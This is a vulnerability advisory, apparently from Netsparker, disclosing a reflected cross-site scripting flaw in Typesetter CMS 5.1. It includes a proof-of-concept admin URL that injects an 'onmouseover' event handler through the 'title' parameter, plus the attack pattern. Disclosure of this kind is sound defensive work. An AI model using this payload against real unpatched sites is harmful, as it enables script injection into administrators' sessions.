Typesetter 5.1 Cross Site Scripting

Typesetter version 5.1 suffers from a cross site scripting vulnerability.

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Reflected Cross-site Scripting Vulnerability in Typesetter 5.1


Advisory by Netsparker
Name: Reflected Cross-site Scripting Vulnerability in Typesetter
Affected Software: Typesetter
Affected Versions: 5.1
Homepage: https://www.typesettercms.com
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Netsparker Advisory Reference: NS-18-026

Technical Details

The user log-in with administrative privileges is required.

URL : http://{domain}/{Typesetter}/index.php/Admin/Menu/Ajax?cmd=AddHidden&redir=redir&title=x%20onmouseover%3dalert(0)%20x%3d&gpreq=json&jsoncallback=jQuery111303231258407947004_1524609082471&gpx_content=gpabox&_=1524609082474
Parameter Name : title
Parameter Type : GET
Attack Pattern : x+onmouseover=netsparker(0x006C67)+x=

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

16th May 2018- First Contact
23rd May 2018 - Vendor Fixed
4th December 2018 - Advisory Released

Credits & Authors

These issues have been discovered by Mithat Gogebakan while testing Netsparker Web Application Security Scanner.

About Netsparker

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